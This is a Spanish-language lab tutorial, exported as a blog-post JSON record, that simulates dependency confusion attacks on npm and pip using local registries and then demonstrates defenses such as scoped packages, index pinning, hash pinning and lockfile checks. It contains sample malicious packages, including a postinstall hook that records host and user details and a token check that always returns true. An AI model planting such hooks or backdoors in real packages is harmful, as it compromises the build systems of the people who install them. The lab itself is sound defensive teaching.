{"id":666,"date":"2026-03-01T20:01:47","date_gmt":"2026-03-01T19:01:47","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=666"},"modified":"2026-03-24T18:08:03","modified_gmt":"2026-03-24T17:08:03","slug":"lab-simulating-dependency-confusion-attack-sandbox-2","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-simulating-dependency-confusion-attack-sandbox-2\/","title":{"rendered":"Lab: Simulaci\u00f3n de un Ataque de Confusi\u00f3n de Dependencias en un Entorno Sandbox"},"content":{"rendered":"<h2>Descripci\u00f3n General<\/h2>\n<p>La confusi\u00f3n de dependencias es un ataque a la cadena de suministro que explota la forma en que los gestores de paquetes resuelven los nombres de paquetes cuando se configuran tanto registros privados (internos) como p\u00fablicos. Cuando un atacante publica un paquete malicioso en un registro p\u00fablico usando el mismo nombre que un paquete privado interno \u2014 pero con un n\u00famero de versi\u00f3n superior \u2014 el gestor de paquetes puede preferir la versi\u00f3n p\u00fablica, incorporando silenciosamente c\u00f3digo controlado por el atacante.<\/p>\n<p>Este vector de ataque gan\u00f3 amplia atenci\u00f3n en 2021 cuando el investigador de seguridad Alex Birsan lo demostr\u00f3 contra Apple, Microsoft, PayPal, Tesla y decenas de otras organizaciones. El problema central es simple: la mayor\u00eda de los gestores de paquetes eligen por defecto la versi\u00f3n m\u00e1s alta disponible en todos los registros configurados.<\/p>\n<p>En este laboratorio pr\u00e1ctico, usted:<\/p>\n<ul>\n<li>Configurar\u00e1 un entorno sandbox con dos registros locales que simulan uno \u00abprivado\u00bb y otro \u00abp\u00fablico\u00bb<\/li>\n<li>Ejecutar\u00e1 un ataque de confusi\u00f3n de dependencias en los ecosistemas de npm y pip<\/li>\n<li>Implementar\u00e1 y verificar\u00e1 cuatro estrategias de defensa distintas<\/li>\n<li>Comprender\u00e1 exactamente por qu\u00e9 cada defensa funciona a nivel de protocolo<\/li>\n<\/ul>\n<p>Todos los comandos de este laboratorio est\u00e1n dise\u00f1ados para ejecutarse \u00fanicamente contra infraestructura local. No se publican paquetes en registros p\u00fablicos reales en ning\u00fan momento.<\/p>\n<h2>Requisitos Previos<\/h2>\n<p>Antes de comenzar este laboratorio, aseg\u00farese de tener lo siguiente instalado y disponible en su m\u00e1quina:<\/p>\n<ul>\n<li><strong>Node.js 18+<\/strong> con npm (verifique con <code>node --version<\/code> y <code>npm --version<\/code>)<\/li>\n<li><strong>Python 3.8+<\/strong> con pip (verifique con <code>python3 --version<\/code> y <code>pip3 --version<\/code>)<\/li>\n<li><strong>Docker<\/strong> (utilizado para ejecutar instancias locales de Verdaccio y pypiserver)<\/li>\n<li><strong>curl<\/strong> (para la creaci\u00f3n de usuarios en el registro)<\/li>\n<li>Una terminal con bash o zsh<\/li>\n<\/ul>\n<p>No se requieren cuentas en la nube ni servicios externos. Todo el laboratorio se ejecuta localmente en su estaci\u00f3n de trabajo.<\/p>\n<h2>Aviso Importante de Seguridad<\/h2>\n<p><strong>ADVERTENCIA: Este laboratorio solo debe ejecutarse en entornos de prueba aislados. Cada registro, paquete y configuraci\u00f3n en este laboratorio es local. Siga estas reglas estrictamente:<\/strong><\/p>\n<ul>\n<li><strong>Nunca publique paquetes de prueba en los registros reales npmjs.com o pypi.org.<\/strong> Publicar paquetes con nombres que coincidan con los paquetes internos de otra organizaci\u00f3n es ilegal en muchas jurisdicciones y viola los t\u00e9rminos de servicio de los registros.<\/li>\n<li><strong>Use \u00fanicamente instancias locales de Verdaccio y pypiserver<\/strong> como sus registros \u00abp\u00fablico\u00bb y \u00abprivado\u00bb. Estos est\u00e1n completamente aislados y no pueden afectar al mundo exterior.<\/li>\n<li><strong>Todos los paquetes \u00abp\u00fablicos\u00bb en este laboratorio se publican en una segunda instancia local de Verdaccio<\/strong> que se ejecuta en <code>localhost:4874<\/code>. Nada sale de su m\u00e1quina.<\/li>\n<li><strong>No ejecute los ejercicios de ataque contra proyectos de producci\u00f3n.<\/strong> Use un directorio de proyecto nuevo y desechable.<\/li>\n<li><strong>Limpie todos los contenedores y configuraciones cuando termine.<\/strong> Dejar archivos <code>.npmrc<\/code> o <code>pip.conf<\/code> mal configurados en su sistema podr\u00eda causar comportamientos inesperados en proyectos reales.<\/li>\n<\/ul>\n<p>Con estas medidas de seguridad implementadas, puede explorar de forma segura la mec\u00e1nica de este ataque y desarrollar una intuici\u00f3n real sobre las defensas.<\/p>\n<h2>Configuraci\u00f3n del Entorno<\/h2>\n<h3>Paso 1: Iniciar Dos Instancias de Verdaccio<\/h3>\n<p>Verdaccio es un registro npm ligero y de c\u00f3digo abierto. Ejecutaremos dos instancias \u2014 una simulando el registro privado de su organizaci\u00f3n y otra simulando un registro p\u00fablico que controla un atacante.<\/p>\n<pre><code># Iniciar el registro \"privado\" en el puerto 4873\ndocker run -d -p 4873:4873 --name private-registry verdaccio\/verdaccio\n\n# Iniciar el registro \"p\u00fablico\" en el puerto 4874\ndocker run -d -p 4874:4873 --name public-registry verdaccio\/verdaccio<\/code><\/pre>\n<p>Verifique que ambos est\u00e9n en ejecuci\u00f3n:<\/p>\n<pre><code>curl -s http:\/\/localhost:4873\/ | head -5\ncurl -s http:\/\/localhost:4874\/ | head -5<\/code><\/pre>\n<p>Deber\u00eda ver respuestas HTML de ambas interfaces web de Verdaccio.<\/p>\n<h3>Paso 2: Crear Usuarios en los Registros<\/h3>\n<p>Verdaccio requiere autenticaci\u00f3n para publicar. Cree un usuario en cada instancia:<\/p>\n<pre><code># Agregar usuario al registro privado\nnpm adduser --registry http:\/\/localhost:4873\n# Ingrese nombre de usuario: testuser, contrase\u00f1a: testpass, correo: test@test.com\n\n# Agregar usuario al registro p\u00fablico\nnpm adduser --registry http:\/\/localhost:4874\n# Ingrese nombre de usuario: attacker, contrase\u00f1a: attackpass, correo: attacker@test.com<\/code><\/pre>\n<h3>Paso 3: Crear el Proyecto de Prueba<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/victim-project\ncd ~\/dep-confusion-lab\/victim-project\nnpm init -y<\/code><\/pre>\n<h3>Paso 4: Crear y Publicar el Paquete Privado<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/private-pkg\ncd ~\/dep-confusion-lab\/private-pkg<\/code><\/pre>\n<p>Cree <code>package.json<\/code>:<\/p>\n<pre><code>{\n  \"name\": \"@mycompany\/auth-utils\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal authentication utilities\",\n  \"main\": \"index.js\"\n}<\/code><\/pre>\n<p>Cree <code>index.js<\/code>:<\/p>\n<pre><code>module.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n    return token && token.length > 0;\n  }\n};<\/code><\/pre>\n<p>Publique en el registro privado:<\/p>\n<pre><code>npm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>Paso 5: Configurar el Proyecto V\u00edctima<\/h3>\n<p>En el directorio del proyecto v\u00edctima, cree un archivo <code>.npmrc<\/code>:<\/p>\n<pre><code>registry=http:\/\/localhost:4873<\/code><\/pre>\n<p>Agregue la dependencia a <code>package.json<\/code>:<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"@mycompany\/auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<p>Instale y verifique:<\/p>\n<pre><code>npm install\nnode -e \"const auth = require('@mycompany\/auth-utils'); auth.validateToken('abc');\"<\/code><\/pre>\n<p>Deber\u00eda ver: <code>[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)<\/code><\/p>\n<h2>Ejercicio 1: El Ataque \u2014 npm<\/h2>\n<p>Ahora simulamos lo que har\u00eda un atacante. La idea clave: en muchas configuraciones del mundo real, los desarrolladores usan un nombre de paquete sin \u00e1mbito internamente (solo <code>auth-utils<\/code> en lugar de <code>@mycompany\/auth-utils<\/code>). Esto hace que el ataque sea trivial.<\/p>\n<h3>Paso 1: Restablecer el Proyecto V\u00edctima para Usar un Nombre sin \u00c1mbito<\/h3>\n<p>Actualice el <code>package.json<\/code> del proyecto v\u00edctima para depender del nombre sin \u00e1mbito:<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<p>Tambi\u00e9n publique un <code>auth-utils@1.0.0<\/code> sin \u00e1mbito en el registro privado:<\/p>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/private-pkg-unscoped\ncd ~\/dep-confusion-lab\/private-pkg-unscoped<\/code><\/pre>\n<pre><code>\/\/ package.json\n{\n  \"name\": \"auth-utils\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal authentication utilities (unscoped)\",\n  \"main\": \"index.js\"\n}\n\n\/\/ index.js\nmodule.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n    return token && token.length > 0;\n  }\n};<\/code><\/pre>\n<pre><code>npm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>Paso 2: Crear el Paquete Malicioso<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/malicious-pkg\ncd ~\/dep-confusion-lab\/malicious-pkg<\/code><\/pre>\n<p>Cree <code>package.json<\/code> \u2014 observe el n\u00famero de versi\u00f3n extremadamente alto y el script <code>postinstall<\/code>:<\/p>\n<pre><code>{\n  \"name\": \"auth-utils\",\n  \"version\": \"99.0.0\",\n  \"description\": \"Malicious package simulating dependency confusion\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"postinstall\": \"node malicious.js\"\n  }\n}<\/code><\/pre>\n<p>Cree <code>malicious.js<\/code> \u2014 esto simula la exfiltraci\u00f3n de datos escribiendo un archivo marcador:<\/p>\n<pre><code>const fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');\nconst data = [\n  'DEPENDENCY CONFUSION ATTACK SIMULATION',\n  '=======================================',\n  `Timestamp: ${new Date().toISOString()}`,\n  `Hostname: ${os.hostname()}`,\n  `Username: ${os.userInfo().username}`,\n  `Working Directory: ${process.cwd()}`,\n  '',\n  'In a real attack, this script could:',\n  '  - Exfiltrate environment variables (API keys, tokens)',\n  '  - Upload source code to an external server',\n  '  - Install a reverse shell or backdoor',\n  '  - Modify build outputs'\n].join('\\n');\n\nfs.writeFileSync(marker, data);\nconsole.log('[!] ATTACK SIMULATION: Marker file written to', marker);<\/code><\/pre>\n<p>Cree <code>index.js<\/code>:<\/p>\n<pre><code>module.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');\n    return true; \/\/ Always returns true \u2014 a subtle backdoor\n  }\n};<\/code><\/pre>\n<p>Publique en el registro \u00abp\u00fablico\u00bb:<\/p>\n<pre><code>npm publish --registry http:\/\/localhost:4874<\/code><\/pre>\n<h3>Paso 3: Configurar el Fallback y Desencadenar el Ataque<\/h3>\n<p>Actualice el <code>.npmrc<\/code> del proyecto v\u00edctima para recurrir al registro p\u00fablico cuando los paquetes no se encuentren en el privado. Esto refleja una configuraci\u00f3n com\u00fan en el mundo real:<\/p>\n<pre><code>registry=http:\/\/localhost:4873\n\/\/localhost:4873\/:_authToken=\"your-token-here\"\n\/\/localhost:4874\/:_authToken=\"your-token-here\"<\/code><\/pre>\n<p>Ahora borre la instalaci\u00f3n existente y reinstale:<\/p>\n<pre><code>cd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\n<p>Alternativamente, para simular de manera m\u00e1s realista el comportamiento de fallback, configure npm para consultar ambos registros. En muchos entornos corporativos, un registro proxy como Nexus o Artifactory est\u00e1 configurado para buscar tanto en fuentes privadas como p\u00fablicas, prefiriendo la versi\u00f3n m\u00e1s alta:<\/p>\n<pre><code># Esto simula lo que hace un registro proxy corporativo:\n# Ve auth-utils@1.0.0 en el privado y auth-utils@99.0.0 en el p\u00fablico,\n# y devuelve 99.0.0 porque es la versi\u00f3n m\u00e1s alta que coincide con ^1.0.0...\n# Espere \u2014 ^1.0.0 no coincidir\u00e1 con 99.0.0. El ataque funciona cuando el\n# especificador de versi\u00f3n es flexible (por ejemplo, \"*\" o \">=1.0.0\") o cuando\n# el proxy simplemente sirve la versi\u00f3n m\u00e1s alta disponible en todos los upstreams.\n\n# Para este laboratorio, instale directamente desde el \"p\u00fablico\" para demostrar:\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\n<h3>Paso 4: Verificar el Ataque<\/h3>\n<pre><code># Verificar qu\u00e9 versi\u00f3n se instal\u00f3\nnode -e \"const pkg = require('.\/node_modules\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Salida: auth-utils 99.0.0\n\n# Verificar si se cre\u00f3 el archivo marcador\ncat ~\/dep-confusion-lab\/ATTACK_MARKER.txt<\/code><\/pre>\n<p>Deber\u00eda ver el marcador completo del ataque con su nombre de host y nombre de usuario. El script <code>postinstall<\/code> se ejecut\u00f3 autom\u00e1ticamente durante <code>npm install<\/code> \u2014 no se requiri\u00f3 interacci\u00f3n del usuario.<\/p>\n<h3>Por Qu\u00e9 Ocurri\u00f3 Esto<\/h3>\n<p>Esta es exactamente la t\u00e9cnica que Alex Birsan utiliz\u00f3 en febrero de 2021 para ejecutar c\u00f3digo dentro de los sistemas de compilaci\u00f3n internos de Apple, Microsoft, Tesla, Uber, PayPal y m\u00e1s de 30 otras empresas. El ataque funciona porque:<\/p>\n<ol>\n<li><strong>Los nombres de paquetes sin \u00e1mbito existen en un \u00fanico espacio de nombres global.<\/strong> Nada impide que alguien publique <code>auth-utils<\/code> en npmjs.com.<\/li>\n<li><strong>Los gestores de paquetes prefieren la versi\u00f3n m\u00e1s alta.<\/strong> Cuando un registro proxy agrega de m\u00faltiples fuentes, la versi\u00f3n <code>99.0.0<\/code> supera a <code>1.0.0<\/code>.<\/li>\n<li><strong>Los scripts de ciclo de vida se ejecutan autom\u00e1ticamente.<\/strong> El hook <code>postinstall<\/code> se ejecuta con permisos completos a nivel del sistema operativo durante la instalaci\u00f3n.<\/li>\n<\/ol>\n<h2>Ejercicio 2: El Ataque \u2014 pip<\/h2>\n<p>La misma clase de vulnerabilidad existe en el ecosistema de Python. Demostremoslo con pip.<\/p>\n<h3>Paso 1: Iniciar un Servidor PyPI Local<\/h3>\n<pre><code># Iniciar pypiserver como el PyPI \"privado\"\nmkdir -p ~\/dep-confusion-lab\/pypi-private\ndocker run -d -p 8080:8080 --name pypi-private \\\n  -v ~\/dep-confusion-lab\/pypi-private:\/data\/packages \\\n  pypiserver\/pypiserver:latest run -P . -a . \/data\/packages\n\n# Iniciar un segundo pypiserver como el PyPI \"p\u00fablico\"\nmkdir -p ~\/dep-confusion-lab\/pypi-public\ndocker run -d -p 8081:8080 --name pypi-public \\\n  -v ~\/dep-confusion-lab\/pypi-public:\/data\/packages \\\n  pypiserver\/pypiserver:latest run -P . -a . \/data\/packages<\/code><\/pre>\n<h3>Paso 2: Crear y Subir el Paquete Privado Leg\u00edtimo<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/py-private-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-private-pkg<\/code><\/pre>\n<p>Cree <code>setup.py<\/code>:<\/p>\n<pre><code>from setuptools import setup, find_packages\n\nsetup(\n    name='internal-utils',\n    version='1.0.0',\n    packages=find_packages(),\n    description='Internal utilities (PRIVATE - LEGITIMATE)',\n)<\/code><\/pre>\n<p>Cree <code>internal_utils\/__init__.py<\/code>:<\/p>\n<pre><code>def process_data(data):\n    print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')\n    return data<\/code><\/pre>\n<p>Compile y suba al PyPI privado:<\/p>\n<pre><code>python3 -m build\ntwine upload --repository-url http:\/\/localhost:8080 dist\/*<\/code><\/pre>\n<h3>Paso 3: Crear el Paquete P\u00fablico Malicioso<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/py-malicious-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-malicious-pkg<\/code><\/pre>\n<p>Cree <code>setup.py<\/code> con la versi\u00f3n <code>99.0.0<\/code>:<\/p>\n<pre><code>from setuptools import setup, find_packages\n\nsetup(\n    name='internal-utils',\n    version='99.0.0',\n    packages=find_packages(),\n    description='Malicious package simulating dependency confusion',\n)<\/code><\/pre>\n<p>Cree <code>internal_utils\/__init__.py<\/code>:<\/p>\n<pre><code>import os\nimport datetime\n\ndef process_data(data):\n    print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')\n    marker_path = os.path.expanduser('~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt')\n    with open(marker_path, 'w') as f:\n        f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\\n')\n        f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\\n')\n        f.write(f'Hostname: {os.uname().nodename}\\n')\n    return data<\/code><\/pre>\n<p>Compile y suba al PyPI \u00abp\u00fablico\u00bb:<\/p>\n<pre><code>python3 -m build\ntwine upload --repository-url http:\/\/localhost:8081 dist\/*<\/code><\/pre>\n<h3>Paso 4: Desencadenar el Ataque<\/h3>\n<pre><code># Crear un entorno virtual para aislamiento\ncd ~\/dep-confusion-lab\npython3 -m venv lab-venv\nsource lab-venv\/bin\/activate\n\n# Instalar con --extra-index-url (el patr\u00f3n peligroso)\npip install internal-utils \\\n  --index-url http:\/\/localhost:8080\/simple\/ \\\n  --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\n<h3>Paso 5: Verificar<\/h3>\n<pre><code>python3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Salida: [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)\n\ncat ~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt<\/code><\/pre>\n<h3>Comprendiendo la L\u00f3gica de Resoluci\u00f3n de pip<\/h3>\n<p>La distinci\u00f3n cr\u00edtica es entre <code>--index-url<\/code> y <code>--extra-index-url<\/code>:<\/p>\n<ul>\n<li><code>--index-url<\/code>: Establece el \u00edndice de paquetes <strong>principal<\/strong>. pip busca aqu\u00ed primero.<\/li>\n<li><code>--extra-index-url<\/code>: Agrega un \u00edndice <strong>adicional<\/strong>. pip busca en <strong>todos<\/strong> los \u00edndices configurados e instala la <strong>versi\u00f3n m\u00e1s alta encontrada en todos ellos<\/strong>.<\/li>\n<\/ul>\n<p>Esto significa que cuando usa <code>--extra-index-url<\/code>, pip <strong>no<\/strong> prefiere su \u00edndice privado \u2014 combina los resultados de todos los \u00edndices y elige la versi\u00f3n m\u00e1s alta. Un atacante que publique la versi\u00f3n <code>99.0.0<\/code> en cualquier \u00edndice configurado ganar\u00e1.<\/p>\n<h2>Ejercicio 3: Defensa \u2014 \u00c1mbito de Espacio de Nombres (npm)<\/h2>\n<p>La defensa m\u00e1s efectiva para npm es usar paquetes con \u00e1mbito. Los \u00e1mbitos crean un espacio de nombres que se asigna directamente a un registro espec\u00edfico, eliminando la ambig\u00fcedad que hace posible la confusi\u00f3n de dependencias.<\/p>\n<h3>Paso 1: Asegurar que el Paquete con \u00c1mbito Exista<\/h3>\n<p>Ya publicamos <code>@mycompany\/auth-utils@1.0.0<\/code> en el registro privado durante la fase de configuraci\u00f3n. Verif\u00edquelo:<\/p>\n<pre><code>npm view @mycompany\/auth-utils --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>Paso 2: Configurar el Enrutamiento de Registro Basado en \u00c1mbito<\/h3>\n<p>En el proyecto v\u00edctima, actualice <code>.npmrc<\/code>:<\/p>\n<pre><code>@mycompany:registry=http:\/\/localhost:4873\nregistry=http:\/\/localhost:4874<\/code><\/pre>\n<p>Esta configuraci\u00f3n le dice a npm: \u00abPara cualquier paquete bajo el \u00e1mbito <code>@mycompany<\/code>, siempre usa el registro privado. Para todo lo dem\u00e1s, usa el registro p\u00fablico.\u00bb<\/p>\n<h3>Paso 3: Actualizar la Dependencia<\/h3>\n<p>Actualice <code>package.json<\/code> para usar el nombre con \u00e1mbito:<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"@mycompany\/auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<h3>Paso 4: Instalar y Verificar<\/h3>\n<pre><code>rm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\n<pre><code>node -e \"const pkg = require('.\/node_modules\/@mycompany\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Salida: @mycompany\/auth-utils 1.0.0<\/code><\/pre>\n<p>Verifique que no se cre\u00f3 ning\u00fan archivo marcador:<\/p>\n<pre><code>ls ~\/dep-confusion-lab\/ATTACK_MARKER.txt 2>&1\n# Salida: No such file or directory<\/code><\/pre>\n<h3>Por Qu\u00e9 Funciona<\/h3>\n<p>Los paquetes con \u00e1mbito tienen <strong>espacio de nombres<\/strong>. El \u00e1mbito <code>@mycompany<\/code> est\u00e1 vinculado a un registro espec\u00edfico en <code>.npmrc<\/code>. npm <strong>nunca<\/strong> recurrir\u00e1 a otro registro para paquetes con \u00e1mbito \u2014 env\u00eda la solicitud a exactamente un registro. Un atacante no puede publicar <code>@mycompany\/auth-utils<\/code> en npmjs.com a menos que sea propietario de la organizaci\u00f3n <code>@mycompany<\/code> en npm, que est\u00e1 controlada por su equipo.<\/p>\n<h2>Ejercicio 4: Defensa \u2014 Fijaci\u00f3n de Registro (pip)<\/h2>\n<p>Para Python, la defensa equivalente es fijar su configuraci\u00f3n de pip para usar \u00fanicamente su \u00edndice privado, sin fallback.<\/p>\n<h3>Opci\u00f3n A: Usar Solo <code>--index-url<\/code> (Sin \u00cdndices Adicionales)<\/h3>\n<p>Cree o actualice <code>pip.conf<\/code> (Linux\/macOS: <code>~\/.config\/pip\/pip.conf<\/code>; Windows: <code>%APPDATA%\\pip\\pip.ini<\/code>):<\/p>\n<pre><code>[global]\nindex-url = http:\/\/localhost:8080\/simple\/\n# NO agregue extra-index-url<\/code><\/pre>\n<p>Ahora reinstale:<\/p>\n<pre><code>pip install internal-utils --index-url http:\/\/localhost:8080\/simple\/\n\npython3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Salida: [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)<\/code><\/pre>\n<p>Al omitir <code>--extra-index-url<\/code> por completo, pip solo busca en su registro privado. El paquete malicioso en <code>localhost:8081<\/code> nunca es consultado.<\/p>\n<h3>Opci\u00f3n B: Usar <code>--require-hashes<\/code> en <code>requirements.txt<\/code><\/h3>\n<p>Este enfoque fija criptogr\u00e1ficamente cada dependencia a un artefacto espec\u00edfico:<\/p>\n<pre><code># Primero, genere el hash del paquete leg\u00edtimo\npip hash ~\/dep-confusion-lab\/py-private-pkg\/dist\/internal_utils-1.0.0.tar.gz<\/code><\/pre>\n<p>Cree <code>requirements.txt<\/code> con el hash:<\/p>\n<pre><code>internal-utils==1.0.0 --hash=sha256:&lt;pegue-el-hash-de-arriba&gt;<\/code><\/pre>\n<p>Instale con verificaci\u00f3n de hash:<\/p>\n<pre><code>pip install -r requirements.txt \\\n  --index-url http:\/\/localhost:8080\/simple\/ \\\n  --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\n<p>Aunque el \u00edndice p\u00fablico est\u00e9 configurado, pip <strong>rechazar\u00e1<\/strong> cualquier paquete cuyo hash no coincida. La versi\u00f3n maliciosa <code>v99.0.0<\/code> tiene un hash diferente y ser\u00e1 rechazada.<\/p>\n<h3>Por Qu\u00e9 Funciona<\/h3>\n<p>La fijaci\u00f3n de registro elimina la oportunidad de confusi\u00f3n de versiones al asegurar que pip solo consulte una \u00fanica fuente de confianza. La fijaci\u00f3n de hash va m\u00e1s all\u00e1 \u2014 incluso si un atacante comprometiera su registro privado, la discrepancia de hash evitar\u00eda la instalaci\u00f3n de un artefacto manipulado.<\/p>\n<h2>Ejercicio 5: Defensa \u2014 Integridad del Lockfile<\/h2>\n<p>Los lockfiles registran la versi\u00f3n exacta, la URL de origen y el hash criptogr\u00e1fico de cada paquete instalado. Cuando se usan correctamente, previenen que la confusi\u00f3n de dependencias afecte las compilaciones de producci\u00f3n.<\/p>\n<h3>Paso 1: Generar un Lockfile Limpio<\/h3>\n<pre><code>cd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\n<p>Examine el <code>package-lock.json<\/code> resultante:<\/p>\n<pre><code>cat package-lock.json | python3 -m json.tool | head -30<\/code><\/pre>\n<p>Busque los campos <code>resolved<\/code> e <code>integrity<\/code>:<\/p>\n<pre><code>\"node_modules\/@mycompany\/auth-utils\": {\n  \"version\": \"1.0.0\",\n  \"resolved\": \"http:\/\/localhost:4873\/@mycompany%2fauth-utils\/-\/auth-utils-1.0.0.tgz\",\n  \"integrity\": \"sha512-abc123...\"\n}<\/code><\/pre>\n<p>El campo <code>resolved<\/code> registra la URL exacta desde la cual se descarg\u00f3 el paquete. El campo <code>integrity<\/code> es un hash de Integridad de Subrecursos (SRI) del tarball.<\/p>\n<h3>Paso 2: Usar <code>npm ci<\/code> en Lugar de <code>npm install<\/code><\/h3>\n<p>El comando <code>npm ci<\/code> est\u00e1 dise\u00f1ado para entornos de CI\/CD:<\/p>\n<pre><code># En CI, siempre use:\nnpm ci<\/code><\/pre>\n<p>Diferencias clave con <code>npm install<\/code>:<\/p>\n<ul>\n<li><code>npm ci<\/code> elimina <code>node_modules<\/code> e instala <strong>exactamente<\/strong> lo que est\u00e1 en <code>package-lock.json<\/code><\/li>\n<li><strong>Fallar\u00e1<\/strong> si <code>package-lock.json<\/code> no est\u00e1 sincronizado con <code>package.json<\/code><\/li>\n<li><strong>Fallar\u00e1<\/strong> si el hash de integridad no coincide con el tarball descargado<\/li>\n<li>Nunca modifica <code>package-lock.json<\/code><\/li>\n<\/ul>\n<p>Si un atacante lograra publicar una versi\u00f3n superior, <code>npm ci<\/code> seguir\u00eda instalando la versi\u00f3n y hash exactos registrados en el lockfile.<\/p>\n<h3>Paso 3: Verificaci\u00f3n del Lockfile en el Pipeline de CI<\/h3>\n<p>Agregue un paso a su pipeline de CI que falle la compilaci\u00f3n si el lockfile ha sido manipulado o est\u00e1 desactualizado. Aqu\u00ed hay un ejemplo de GitHub Actions:<\/p>\n<pre><code>name: Lockfile Integrity Check\n\non:\n  pull_request:\n    paths:\n      - 'package.json'\n      - 'package-lock.json'\n\njobs:\n  lockfile-check:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Setup Node.js\n        uses: actions\/setup-node@v4\n        with:\n          node-version: '20'\n\n      - name: Verify lockfile is up to date\n        run: |\n          # Guardar el hash actual del lockfile\n          BEFORE=$(sha256sum package-lock.json | cut -d' ' -f1)\n          \n          # Ejecutar npm install (que puede actualizar el lockfile)\n          npm install --package-lock-only\n          \n          # Comparar\n          AFTER=$(sha256sum package-lock.json | cut -d' ' -f1)\n          \n          if [ \"$BEFORE\" != \"$AFTER\" ]; then\n            echo \"::error::package-lock.json is out of sync with package.json!\"\n            echo \"::error::This could indicate dependency tampering or a missing commit.\"\n            echo \"Run 'npm install' locally and commit the updated lockfile.\"\n            git diff package-lock.json\n            exit 1\n          fi\n          \n          echo \"Lockfile integrity verified.\"\n\n      - name: Install with npm ci\n        run: npm ci\n\n      - name: Run tests\n        run: npm test<\/code><\/pre>\n<p>Este flujo de trabajo detecta dos escenarios: (1) un desarrollador olvid\u00f3 hacer commit de los cambios del lockfile despu\u00e9s de actualizar dependencias, y (2) un atacante envi\u00f3 un PR que modifica <code>package.json<\/code> sin las actualizaciones correspondientes del lockfile, introduciendo potencialmente un vector de confusi\u00f3n de dependencias.<\/p>\n<h2>Ejercicio 6: Defensa \u2014 Registro Defensivo<\/h2>\n<p>Una defensa pragm\u00e1tica utilizada por muchas grandes organizaciones es registrar proactivamente los nombres de sus paquetes internos en registros p\u00fablicos antes de que un atacante lo haga.<\/p>\n<h3>La Estrategia<\/h3>\n<p>Si su organizaci\u00f3n usa paquetes internos como <code>auth-utils<\/code>, <code>internal-logger<\/code> o <code>company-config<\/code>, un atacante podr\u00eda publicar paquetes con esos mismos nombres en npmjs.com o PyPI. Para prevenir esto, usted publica paquetes de marcador de posici\u00f3n:<\/p>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/placeholder-pkg\ncd ~\/dep-confusion-lab\/placeholder-pkg<\/code><\/pre>\n<p>Cree un <code>package.json<\/code> m\u00ednimo:<\/p>\n<pre><code>{\n  \"name\": \"auth-utils\",\n  \"version\": \"0.0.1\",\n  \"description\": \"This package name is reserved. This is a defensive registration to prevent dependency confusion attacks. If you are looking for internal auth-utils, please contact your organization's platform team.\",\n  \"main\": \"index.js\",\n  \"keywords\": [\"reserved\", \"placeholder\"],\n  \"license\": \"UNLICENSED\"\n}<\/code><\/pre>\n<p>Cree un <code>index.js<\/code> m\u00ednimo:<\/p>\n<pre><code>console.warn(\n  'WARNING: This is a placeholder package. ' +\n  'If you are seeing this message, your project may be misconfigured. ' +\n  'Contact your platform team for the correct registry configuration.'\n);\nmodule.exports = {};<\/code><\/pre>\n<p>En un escenario real, publicar\u00eda esto en el registro p\u00fablico real de npm:<\/p>\n<pre><code># SOLO EN EL MUNDO REAL (no en este laboratorio):\n# npm publish --access public\n\n# Para este laboratorio, publique en nuestro registro p\u00fablico simulado:\nnpm publish --registry http:\/\/localhost:4874<\/code><\/pre>\n<p>El marcador de 